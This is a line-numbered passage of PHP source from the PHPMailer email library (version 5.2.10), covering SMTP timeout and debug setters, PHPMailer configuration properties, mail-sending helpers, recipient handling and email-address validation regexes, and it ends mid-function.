1122 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
1123 self::DEBUG_LOWLEVEL
1124 );
1125 break;
1126 }
1127 // Now check if reads took too long
1128 if ($endtime and time() > $endtime) {
1129 $this->edebug(
1130 'SMTP -> get_lines(): timelimit reached ('.
1131 $this->Timelimit . ' sec)',
1132 self::DEBUG_LOWLEVEL
1133 );
1134 break;
1135 }
1136 }
1137 return $data;
1138 }
1139
1140 /**
1141 * Enable or disable VERP address generation.
1142 * @param boolean $enabled
1143 */
1144 public function setVerp($enabled = false)
1145 {
1146 $this->do_verp = $enabled;
1147 }
1148
1149 /**
1150 * Get VERP address generation mode.
1151 * @return boolean
1152 */
1153 public function getVerp()
1154 {
1155 return $this->do_verp;
1156 }
1157
1158 /**
1159 * Set error messages and codes.
1160 * @param string $message The error message
1161 * @param string $detail Further detail on the error
1162 * @param string $smtp_code An associated SMTP error code
1163 * @param string $smtp_code_ex Extended SMTP code
1164 */
1165 protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
1166 {
1167 $this->error = array(
1168 'error' => $message,
1169 'detail' => $detail,
1170 'smtp_code' => $smtp_code,
1171 'smtp_code_ex' => $smtp_code_ex
1172 );
1173 }
1174
1175 /**
1176 * Set debug output method.
1177 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
1178 */
1179 public function setDebugOutput($method = 'echo')
1180 {
1181 $this->Debugoutput = $method;
1182 }
1183
1184 /**
1185 * Get debug output method.
1186 * @return string
1187 */
1188 public function getDebugOutput()
1189 {
1190 return $this->Debugoutput;
1191 }
1192
1193 /**
1194 * Set debug output level.
1195 * @param integer $level
1196 */
1197 public function setDebugLevel($level = 0)
1198 {
1199 $this->do_debug = $level;
1200 }
1201
1202 /**
1203 * Get debug output level.
1204 * @return integer
1205 */
1206 public function getDebugLevel()
1207 {
1208 return $this->do_debug;
1209 }
1210
1211 /**
1212 * Set SMTP timeout.
1213 * @param integer $timeout
1214 */
1215 public function setTimeout($timeout = 0)
1216 {
1217 $this->Timeout = $timeout;
1218 }
1219
1220 /**
1221 * Get SMTP timeout.
1222 * @return integer
1223 */
1224 public function getTimeout()
1225 {
1226 return $this->Timeout;
1227 }
1228}
1229
1230/**
1231 * PHPMailer - PHP email creation and transport class.
1232 * PHP Version 5
1233 * @package PHPMailer
1234 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
1235 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
1236 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
1237 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
1238 * @author Brent R. Matzelle (original founder)
1239 * @copyright 2012 - 2014 Marcus Bointon
1240 * @copyright 2010 - 2012 Jim Jagielski
1241 * @copyright 2004 - 2009 Andy Prevost
1242 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
1243 * @note This program is distributed in the hope that it will be useful - WITHOUT
1244 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
1245 * FITNESS FOR A PARTICULAR PURPOSE.
1246 */
1247
1248/**
1249 * PHPMailer - PHP email creation and transport class.
1250 * @package PHPMailer
1251 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
1252 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
1253 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
1254 * @author Brent R. Matzelle (original founder)
1255 */
1256class PHPMailer
1257{
1258 /**
1259 * The PHPMailer Version number.
1260 * @type string
1261 */
1262 public $Version = '5.2.10';
1263
1264 /**
1265 * Email priority.
1266 * Options: 1 = High, 3 = Normal, 5 = low.
1267 * @type integer
1268 */
1269 public $Priority = 3;
1270
1271 /**
1272 * The character set of the message.
1273 * @type string
1274 */
1275 public $CharSet = 'iso-8859-1';
1276
1277 /**
1278 * The MIME Content-type of the message.
1279 * @type string
1280 */
1281 public $ContentType = 'text/plain';
1282
1283 /**
1284 * The message encoding.
1285 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
1286 * @type string
1287 */
1288 public $Encoding = '8bit';
1289
1290 /**
1291 * Holds the most recent mailer error message.
1292 * @type string
1293 */
1294 public $ErrorInfo = '';
1295
1296 /**
1297 * The From email address for the message.
1298 * @type string
1299 */
1300 public $From = 'root@localhost';
1301
1302 /**
1303 * The From name of the message.
1304 * @type string
1305 */
1306 public $FromName = 'Root User';
1307
1308 /**
1309 * The Sender email (Return-Path) of the message.
1310 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1311 * @type string
1312 */
1313 public $Sender = '';
1314
1315 /**
1316 * The Return-Path of the message.
1317 * If empty, it will be set to either From or Sender.
1318 * @type string
1319 * @deprecated Email senders should never set a return-path header;
1320 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
1321 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
1322 */
1323 public $ReturnPath = '';
1324
1325 /**
1326 * The Subject of the message.
1327 * @type string
1328 */
1329 public $Subject = '';
1330
1331 /**
1332 * An HTML or plain text message body.
1333 * If HTML then call isHTML(true).
1334 * @type string
1335 */
1336 public $Body = '';
1337
1338 /**
1339 * The plain-text message body.
1340 * This body can be read by mail clients that do not have HTML email
1341 * capability such as mutt & Eudora.
1342 * Clients that can read HTML will view the normal Body.
1343 * @type string
1344 */
1345 public $AltBody = '';
1346
1347 /**
1348 * An iCal message part body.
1349 * Only supported in simple alt or alt_inline message types
1350 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
1351 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
1352 * @link http://kigkonsult.se/iCalcreator/
1353 * @type string
1354 */
1355 public $Ical = '';
1356
1357 /**
1358 * The complete compiled MIME message body.
1359 * @access protected
1360 * @type string
1361 */
1362 protected $MIMEBody = '';
1363
1364 /**
1365 * The complete compiled MIME message headers.
1366 * @type string
1367 * @access protected
1368 */
1369 protected $MIMEHeader = '';
1370
1371 /**
1372 * Extra headers that createHeader() doesn't fold in.
1373 * @type string
1374 * @access protected
1375 */
1376 protected $mailHeader = '';
1377
1378 /**
1379 * Word-wrap the message body to this number of chars.
1380 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
1381 * @type integer
1382 */
1383 public $WordWrap = 0;
1384
1385 /**
1386 * Which method to use to send mail.
1387 * Options: "mail", "sendmail", or "smtp".
1388 * @type string
1389 */
1390 public $Mailer = 'mail';
1391
1392 /**
1393 * The path to the sendmail program.
1394 * @type string
1395 */
1396 public $Sendmail = '/usr/sbin/sendmail';
1397
1398 /**
1399 * Whether mail() uses a fully sendmail-compatible MTA.
1400 * One which supports sendmail's "-oi -f" options.
1401 * @type boolean
1402 */
1403 public $UseSendmailOptions = true;
1404
1405 /**
1406 * Path to PHPMailer plugins.
1407 * Useful if the SMTP class is not in the PHP include path.
1408 * @type string
1409 * @deprecated Should not be needed now there is an autoloader.
1410 */
1411 public $PluginDir = '';
1412
1413 /**
1414 * The email address that a reading confirmation should be sent to.
1415 * @type string
1416 */
1417 public $ConfirmReadingTo = '';
1418
1419 /**
1420 * The hostname to use in Message-Id and Received headers
1421 * and as default HELO string.
1422 * If empty, the value returned
1423 * by SERVER_NAME is used or 'localhost.localdomain'.
1424 * @type string
1425 */
1426 public $Hostname = '';
1427
1428 /**
1429 * An ID to be used in the Message-Id header.
1430 * If empty, a unique id will be generated.
1431 * @type string
1432 */
1433 public $MessageID = '';
1434
1435 /**
1436 * The message Date to be used in the Date header.
1437 * If empty, the current date will be added.
1438 * @type string
1439 */
1440 public $MessageDate = '';
1441
1442 /**
1443 * SMTP hosts.
1444 * Either a single hostname or multiple semicolon-delimited hostnames.
1445 * You can also specify a different port
1446 * for each host by using this format: [hostname:port]
1447 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1448 * You can also specify encryption type, for example:
1449 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
1450 * Hosts will be tried in order.
1451 * @type string
1452 */
1453 public $Host = 'localhost';
1454
1455 /**
1456 * The default SMTP server port.
1457 * @type integer
1458 * @TODO Why is this needed when the SMTP class takes care of it?
1459 */
1460 public $Port = 25;
1461
1462 /**
1463 * The SMTP HELO of the message.
1464 * Default is $Hostname.
1465 * @type string
1466 * @see PHPMailer::$Hostname
1467 */
1468 public $Helo = '';
1469
1470 /**
1471 * What kind of encryption to use on the SMTP connection.
1472 * Options: '', 'ssl' or 'tls'
1473 * @type string
1474 */
1475 public $SMTPSecure = '';
1476
1477 /**
1478 * Whether to enable TLS encryption automatically if a server supports it,
1479 * even if `SMTPSecure` is not set to 'tls'.
1480 * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
1481 * @type boolean
1482 */
1483 public $SMTPAutoTLS = true;
1484
1485 /**
1486 * Whether to use SMTP authentication.
1487 * Uses the Username and Password properties.
1488 * @type boolean
1489 * @see PHPMailer::$Username
1490 * @see PHPMailer::$Password
1491 */
1492 public $SMTPAuth = false;
1493
1494 /**
1495 * Options array passed to stream_context_create when connecting via SMTP.
1496 * @type array
1497 */
1498 public $SMTPOptions = array();
1499
1500 /**
1501 * SMTP username.
1502 * @type string
1503 */
1504 public $Username = '';
1505
1506 /**
1507 * SMTP password.
1508 * @type string
1509 */
1510 public $Password = '';
1511
1512 /**
1513 * SMTP auth type.
1514 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
1515 * @type string
1516 */
1517 public $AuthType = '';
1518
1519 /**
1520 * SMTP realm.
1521 * Used for NTLM auth
1522 * @type string
1523 */
1524 public $Realm = '';
1525
1526 /**
1527 * SMTP workstation.
1528 * Used for NTLM auth
1529 * @type string
1530 */
1531 public $Workstation = '';
1532
1533 /**
1534 * The SMTP server timeout in seconds.
1535 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
1536 * @type integer
1537 */
1538 public $Timeout = 300;
1539
1540 /**
1541 * SMTP class debug output mode.
1542 * Debug output level.
1543 * Options:
1544 * * `0` No output
1545 * * `1` Commands
1546 * * `2` Data and commands
1547 * * `3` As 2 plus connection status
1548 * * `4` Low-level data output
1549 * @type integer
1550 * @see SMTP::$do_debug
1551 */
1552 public $SMTPDebug = 0;
1553
1554 /**
1555 * How to handle debug output.
1556 * Options:
1557 * * `echo` Output plain-text as-is, appropriate for CLI
1558 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
1559 * * `error_log` Output to error log as configured in php.ini
1560 *
1561 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
1562 * <code>
1563 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
1564 * </code>
1565 * @type string|callable
1566 * @see SMTP::$Debugoutput
1567 */
1568 public $Debugoutput = 'echo';
1569
1570 /**
1571 * Whether to keep SMTP connection open after each message.
1572 * If this is set to true then to close the connection
1573 * requires an explicit call to smtpClose().
1574 * @type boolean
1575 */
1576 public $SMTPKeepAlive = false;
1577
1578 /**
1579 * Whether to split multiple to addresses into multiple messages
1580 * or send them all in one message.
1581 * @type boolean
1582 */
1583 public $SingleTo = false;
1584
1585 /**
1586 * Storage for addresses when SingleTo is enabled.
1587 * @type array
1588 * @TODO This should really not be public
1589 */
1590 public $SingleToArray = array();
1591
1592 /**
1593 * Whether to generate VERP addresses on send.
1594 * Only applicable when sending via SMTP.
1595 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
1596 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
1597 * @type boolean
1598 */
1599 public $do_verp = false;
1600
1601 /**
1602 * Whether to allow sending messages with an empty body.
1603 * @type boolean
1604 */
1605 public $AllowEmpty = false;
1606
1607 /**
1608 * The default line ending.
1609 * @note The default remains "\n". We force CRLF where we know
1610 * it must be used via self::CRLF.
1611 * @type string
1612 */
1613 public $LE = "\n";
1614
1615 /**
1616 * DKIM selector.
1617 * @type string
1618 */
1619 public $DKIM_selector = '';
1620
1621 /**
1622 * DKIM Identity.
1623 * Usually the email address used as the source of the email
1624 * @type string
1625 */
1626 public $DKIM_identity = '';
1627
1628 /**
1629 * DKIM passphrase.
1630 * Used if your key is encrypted.
1631 * @type string
1632 */
1633 public $DKIM_passphrase = '';
1634
1635 /**
1636 * DKIM signing domain name.
1637 * @example 'example.com'
1638 * @type string
1639 */
1640 public $DKIM_domain = '';
1641
1642 /**
1643 * DKIM private key file path.
1644 * @type string
1645 */
1646 public $DKIM_private = '';
1647
1648 /**
1649 * Callback Action function name.
1650 *
1651 * The function that handles the result of the send email action.
1652 * It is called out by send() for each email sent.
1653 *
1654 * Value can be any php callable: http://www.php.net/is_callable
1655 *
1656 * Parameters:
1657 * boolean $result result of the send action
1658 * string $to email address of the recipient
1659 * string $cc cc email addresses
1660 * string $bcc bcc email addresses
1661 * string $subject the subject
1662 * string $body the email body
1663 * string $from email address of sender
1664 * @type string
1665 */
1666 public $action_function = '';
1667
1668 /**
1669 * What to put in the X-Mailer header.
1670 * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
1671 * @type string
1672 */
1673 public $XMailer = '';
1674
1675 /**
1676 * An instance of the SMTP sender class.
1677 * @type SMTP
1678 * @access protected
1679 */
1680 protected $smtp = null;
1681
1682 /**
1683 * The array of 'to' addresses.
1684 * @type array
1685 * @access protected
1686 */
1687 protected $to = array();
1688
1689 /**
1690 * The array of 'cc' addresses.
1691 * @type array
1692 * @access protected
1693 */
1694 protected $cc = array();
1695
1696 /**
1697 * The array of 'bcc' addresses.
1698 * @type array
1699 * @access protected
1700 */
1701 protected $bcc = array();
1702
1703 /**
1704 * The array of reply-to names and addresses.
1705 * @type array
1706 * @access protected
1707 */
1708 protected $ReplyTo = array();
1709
1710 /**
1711 * An array of all kinds of addresses.
1712 * Includes all of $to, $cc, $bcc
1713 * @type array
1714 * @access protected
1715 */
1716 protected $all_recipients = array();
1717
1718 /**
1719 * The array of attachments.
1720 * @type array
1721 * @access protected
1722 */
1723 protected $attachment = array();
1724
1725 /**
1726 * The array of custom headers.
1727 * @type array
1728 * @access protected
1729 */
1730 protected $CustomHeader = array();
1731
1732 /**
1733 * The most recent Message-ID (including angular brackets).
1734 * @type string
1735 * @access protected
1736 */
1737 protected $lastMessageID = '';
1738
1739 /**
1740 * The message's MIME type.
1741 * @type string
1742 * @access protected
1743 */
1744 protected $message_type = '';
1745
1746 /**
1747 * The array of MIME boundary strings.
1748 * @type array
1749 * @access protected
1750 */
1751 protected $boundary = array();
1752
1753 /**
1754 * The array of available languages.
1755 * @type array
1756 * @access protected
1757 */
1758 protected $language = array();
1759
1760 /**
1761 * The number of errors encountered.
1762 * @type integer
1763 * @access protected
1764 */
1765 protected $error_count = 0;
1766
1767 /**
1768 * The S/MIME certificate file path.
1769 * @type string
1770 * @access protected
1771 */
1772 protected $sign_cert_file = '';
1773
1774 /**
1775 * The S/MIME key file path.
1776 * @type string
1777 * @access protected
1778 */
1779 protected $sign_key_file = '';
1780
1781 /**
1782 * The optional S/MIME extra certificates ("CA Chain") file path.
1783 * @type string
1784 * @access protected
1785 */
1786 protected $sign_extracerts_file = '';
1787
1788 /**
1789 * The S/MIME password for the key.
1790 * Used only if the key is encrypted.
1791 * @type string
1792 * @access protected
1793 */
1794 protected $sign_key_pass = '';
1795
1796 /**
1797 * Whether to throw exceptions for errors.
1798 * @type boolean
1799 * @access protected
1800 */
1801 protected $exceptions = false;
1802
1803 /**
1804 * Unique ID used for message ID and boundaries.
1805 * @type string
1806 * @access protected
1807 */
1808 protected $uniqueid = '';
1809
1810 /**
1811 * Error severity: message only, continue processing.
1812 */
1813 const STOP_MESSAGE = 0;
1814
1815 /**
1816 * Error severity: message, likely ok to continue processing.
1817 */
1818 const STOP_CONTINUE = 1;
1819
1820 /**
1821 * Error severity: message, plus full stop, critical error reached.
1822 */
1823 const STOP_CRITICAL = 2;
1824
1825 /**
1826 * SMTP RFC standard line ending.
1827 */
1828 const CRLF = "\r\n";
1829
1830 /**
1831 * The maximum line length allowed by RFC 2822 section 2.1.1
1832 * @type integer
1833 */
1834 const MAX_LINE_LENGTH = 998;
1835
1836 /**
1837 * Constructor.
1838 * @param boolean $exceptions Should we throw external exceptions?
1839 */
1840 public function __construct($exceptions = false)
1841 {
1842 $this->exceptions = (boolean)$exceptions;
1843 }
1844
1845 /**
1846 * Destructor.
1847 */
1848 public function __destruct()
1849 {
1850 //Close any open SMTP connection nicely
1851 if ($this->Mailer == 'smtp') {
1852 $this->smtpClose();
1853 }
1854 }
1855
1856 /**
1857 * Call mail() in a safe_mode-aware fashion.
1858 * Also, unless sendmail_path points to sendmail (or something that
1859 * claims to be sendmail), don't pass params (not a perfect fix,
1860 * but it will do)
1861 * @param string $to To
1862 * @param string $subject Subject
1863 * @param string $body Message Body
1864 * @param string $header Additional Header(s)
1865 * @param string $params Params
1866 * @access private
1867 * @return boolean
1868 */
1869 private function mailPassthru($to, $subject, $body, $header, $params)
1870 {
1871 //Check overloading of mail function to avoid double-encoding
1872 if (ini_get('mbstring.func_overload') & 1) {
1873 $subject = $this->secureHeader($subject);
1874 } else {
1875 $subject = $this->encodeHeader($this->secureHeader($subject));
1876 }
1877 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
1878 $result = @mail($to, $subject, $body, $header);
1879 } else {
1880 $result = @mail($to, $subject, $body, $header, $params);
1881 }
1882 return $result;
1883 }
1884
1885 /**
1886 * Output debugging info via user-defined method.
1887 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
1888 * @see PHPMailer::$Debugoutput
1889 * @see PHPMailer::$SMTPDebug
1890 * @param string $str
1891 */
1892 protected function edebug($str)
1893 {
1894 if ($this->SMTPDebug <= 0) {
1895 return;
1896 }
1897 //Avoid clash with built-in function names
1898 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
1899 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
1900 return;
1901 }
1902 switch ($this->Debugoutput) {
1903 case 'error_log':
1904 //Don't output, just log
1905 error_log($str);
1906 break;
1907 case 'html':
1908 //Cleans up output a bit for a better looking, HTML-safe output
1909 echo htmlentities(
1910 preg_replace('/[\r\n]+/', '', $str),
1911 ENT_QUOTES,
1912 'UTF-8'
1913 )
1914 . "<br>\n";
1915 break;
1916 case 'echo':
1917 default:
1918 //Normalize line breaks
1919 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
1920 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
1921 "\n",
1922 "\n \t ",
1923 trim($str)
1924 ) . "\n";
1925 }
1926 }
1927
1928 /**
1929 * Sets message type to HTML or plain.
1930 * @param boolean $isHtml True for HTML mode.
1931 * @return void
1932 */
1933 public function isHTML($isHtml = true)
1934 {
1935 if ($isHtml) {
1936 $this->ContentType = 'text/html';
1937 } else {
1938 $this->ContentType = 'text/plain';
1939 }
1940 }
1941
1942 /**
1943 * Send messages using SMTP.
1944 * @return void
1945 */
1946 public function isSMTP()
1947 {
1948 $this->Mailer = 'smtp';
1949 }
1950
1951 /**
1952 * Send messages using PHP's mail() function.
1953 * @return void
1954 */
1955 public function isMail()
1956 {
1957 $this->Mailer = 'mail';
1958 }
1959
1960 /**
1961 * Send messages using $Sendmail.
1962 * @return void
1963 */
1964 public function isSendmail()
1965 {
1966 $ini_sendmail_path = ini_get('sendmail_path');
1967
1968 if (!stristr($ini_sendmail_path, 'sendmail')) {
1969 $this->Sendmail = '/usr/sbin/sendmail';
1970 } else {
1971 $this->Sendmail = $ini_sendmail_path;
1972 }
1973 $this->Mailer = 'sendmail';
1974 }
1975
1976 /**
1977 * Send messages using qmail.
1978 * @return void
1979 */
1980 public function isQmail()
1981 {
1982 $ini_sendmail_path = ini_get('sendmail_path');
1983
1984 if (!stristr($ini_sendmail_path, 'qmail')) {
1985 $this->Sendmail = '/var/qmail/bin/qmail-inject';
1986 } else {
1987 $this->Sendmail = $ini_sendmail_path;
1988 }
1989 $this->Mailer = 'qmail';
1990 }
1991
1992 /**
1993 * Add a "To" address.
1994 * @param string $address
1995 * @param string $name
1996 * @return boolean true on success, false if address already used
1997 */
1998 public function addAddress($address, $name = '')
1999 {
2000 return $this->addAnAddress('to', $address, $name);
2001 }
2002
2003 /**
2004 * Add a "CC" address.
2005 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
2006 * @param string $address
2007 * @param string $name
2008 * @return boolean true on success, false if address already used
2009 */
2010 public function addCC($address, $name = '')
2011 {
2012 return $this->addAnAddress('cc', $address, $name);
2013 }
2014
2015 /**
2016 * Add a "BCC" address.
2017 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
2018 * @param string $address
2019 * @param string $name
2020 * @return boolean true on success, false if address already used
2021 */
2022 public function addBCC($address, $name = '')
2023 {
2024 return $this->addAnAddress('bcc', $address, $name);
2025 }
2026
2027 /**
2028 * Add a "Reply-to" address.
2029 * @param string $address
2030 * @param string $name
2031 * @return boolean
2032 */
2033 public function addReplyTo($address, $name = '')
2034 {
2035 return $this->addAnAddress('Reply-To', $address, $name);
2036 }
2037
2038 /**
2039 * Add an address to one of the recipient arrays.
2040 * Addresses that have been added already return false, but do not throw exceptions
2041 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
2042 * @param string $address The email address to send to
2043 * @param string $name
2044 * @throws phpmailerException
2045 * @return boolean true on success, false if address already used or invalid in some way
2046 * @access protected
2047 */
2048 protected function addAnAddress($kind, $address, $name = '')
2049 {
2050 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
2051 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
2052 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
2053 if ($this->exceptions) {
2054 throw new phpmailerException('Invalid recipient array: ' . $kind);
2055 }
2056 return false;
2057 }
2058 $address = trim($address);
2059 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
2060 if (!$this->validateAddress($address)) {
2061 $this->setError($this->lang('invalid_address') . ': ' . $address);
2062 $this->edebug($this->lang('invalid_address') . ': ' . $address);
2063 if ($this->exceptions) {
2064 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
2065 }
2066 return false;
2067 }
2068 if ($kind != 'Reply-To') {
2069 if (!isset($this->all_recipients[strtolower($address)])) {
2070 array_push($this->$kind, array($address, $name));
2071 $this->all_recipients[strtolower($address)] = true;
2072 return true;
2073 }
2074 } else {
2075 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
2076 $this->ReplyTo[strtolower($address)] = array($address, $name);
2077 return true;
2078 }
2079 }
2080 return false;
2081 }
2082
2083 /**
2084 * Set the From and FromName properties.
2085 * @param string $address
2086 * @param string $name
2087 * @param boolean $auto Whether to also set the Sender address, defaults to true
2088 * @throws phpmailerException
2089 * @return boolean
2090 */
2091 public function setFrom($address, $name = '', $auto = true)
2092 {
2093 $address = trim($address);
2094 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
2095 if (!$this->validateAddress($address)) {
2096 $this->setError($this->lang('invalid_address') . ': ' . $address);
2097 $this->edebug($this->lang('invalid_address') . ': ' . $address);
2098 if ($this->exceptions) {
2099 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
2100 }
2101 return false;
2102 }
2103 $this->From = $address;
2104 $this->FromName = $name;
2105 if ($auto) {
2106 if (empty($this->Sender)) {
2107 $this->Sender = $address;
2108 }
2109 }
2110 return true;
2111 }
2112
2113 /**
2114 * Return the Message-ID header of the last email.
2115 * Technically this is the value from the last time the headers were created,
2116 * but it's also the message ID of the last sent message except in
2117 * pathological cases.
2118 * @return string
2119 */
2120 public function getLastMessageID()
2121 {
2122 return $this->lastMessageID;
2123 }
2124
2125 /**
2126 * Check that a string looks like an email address.
2127 * @param string $address The email address to check
2128 * @param string $patternselect A selector for the validation pattern to use :
2129 * * `auto` Pick strictest one automatically;
2130 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
2131 * * `pcre` Use old PCRE implementation;
2132 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
2133 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
2134 * * `noregex` Don't use a regex: super fast, really dumb.
2135 * @return boolean
2136 * @static
2137 * @access public
2138 */
2139 public static function validateAddress($address, $patternselect = 'auto')
2140 {
2141 if (!$patternselect or $patternselect == 'auto') {
2142 //Check this constant first so it works when extension_loaded() is disabled by safe mode
2143 //Constant was added in PHP 5.2.4
2144 if (defined('PCRE_VERSION')) {
2145 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
2146 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
2147 $patternselect = 'pcre8';
2148 } else {
2149 $patternselect = 'pcre';
2150 }
2151 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
2152 //Fall back to older PCRE
2153 $patternselect = 'pcre';
2154 } else {
2155 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
2156 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
2157 $patternselect = 'php';
2158 } else {
2159 $patternselect = 'noregex';
2160 }
2161 }
2162 }
2163 switch ($patternselect) {
2164 case 'pcre8':
2165 /**
2166 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
2167 * @link http://squiloople.com/2009/12/20/email-address-validation/
2168 * @copyright 2009-2010 Michael Rushton
2169 * Feel free to use and redistribute this code. But please keep this copyright notice.
2170 */
2171 return (boolean)preg_match(
2172 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
2173 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
2174 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
2175 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
2176 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
2177 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
2178 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
2179 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
2180 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
2181 $address
2182 );
2183 case 'pcre':
2184 //An older regex that doesn't need a recent PCRE
2185 return (boolean)preg_match(
2186 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
2187 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
2188 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
2189 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
2190 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
2191 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
2192 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
2193 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
2194 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
2195 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
2196 $address
2197 );
2198 case 'html5':
2199 /**
2200 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
2201 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
2202 */
2203 return (boolean)preg_match(
2204 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
2205 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
2206 $address
2207 );
2208 case 'noregex':
2209 //No PCRE! Do something _very_ approximate!
2210 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
2211 return (strlen($address) >= 3
2212 and strpos($address, '@') >= 1
2213 and strpos($address, '@') != strlen($address) - 1);
2214 case 'php':
2215 default:
